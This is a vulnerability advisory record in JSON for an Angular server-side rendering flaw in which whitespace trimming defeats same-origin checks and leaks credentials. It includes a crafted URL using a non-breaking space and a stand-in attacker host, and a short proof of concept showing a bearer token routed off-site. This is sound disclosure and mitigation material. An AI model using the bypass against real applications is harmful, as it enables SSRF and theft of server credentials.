{"id":"CVE-2026-88056","aliases":["CVE-2026-88056","GHSA-f6mr-pjwc-34m4"],"related":[],"kind":"vulnerability","state":"published","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact & Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL('http://localhost:4000/');\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error('Cross-origin request blocked');\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.","format":"markdown","source":"ghsa"}],"published":"2026-09-10T18:42:34.054Z","modified":"2026-09-29T19:02:56.377Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"<= 19.2.25","status":"affected"},{"version":">= 20.0.0, < 20.3.30","status":"affected"},{"version":">= 21.0.0, < 21.2.22","status":"affected"},{"version":">= 22.0.0, < 22.1.4","status":"affected"}],"vendor":"angular","product":"angular","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"22.0.0","status":"affected","fixed":"22.1.4"}],"ecosystem":"npm","package":"@angular/platform-server","purl":"pkg:npm/%40angular/platform-server","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"21.0.0","status":"affected","fixed":"21.2.22"}],"ecosystem":"npm","package":"@angular/platform-server","purl":"pkg:npm/%40angular/platform-server","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"20.0.0","status":"affected","fixed":"20.3.30"}],"ecosystem":"npm","package":"@angular/platform-server","purl":"pkg:npm/%40angular/platform-server","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"19.2.25"}],"ecosystem":"npm","package":"@angular/platform-server","purl":"pkg:npm/%40angular/platform-server","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"19.0.0","lastAffected":"19.2.25"},{"status":"affected","introduced":"20.0.0","fixed":"20.3.30"},{"status":"affected","introduced":"21.0.0","fixed":"21.2.22"},{"status":"affected","introduced":"22.0.0","fixed":"22.1.4"}],"vendor":"angular","product":"angular","cpe":"cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/releases/tag/v20.3.30","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/releases/tag/v21.2.22","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/releases/tag/v22.1.4","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/angular/angular","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-09-15T14:56:19.499Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-88056","url":"https://www.cve.org/CVERecord?id=CVE-2026-88056","licence":"CVE Terms of Use","modified":"2026-09-15T14:56:52.167Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f6mr-pjwc-34m4","url":"https://github.com/advisories/GHSA-f6mr-pjwc-34m4","licence":"CC-BY-4.0","modified":"2026-09-10T20:30:04.442Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-88056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88056","licence":"Public domain","modified":"2026-09-29T19:02:56.377Z"}],"updatedAt":"2026-11-25T22:59:37.892Z","epss":{"score":0.00456,"percentile":0.41298,"date":"2026-12-01T12:00:22.000Z"}}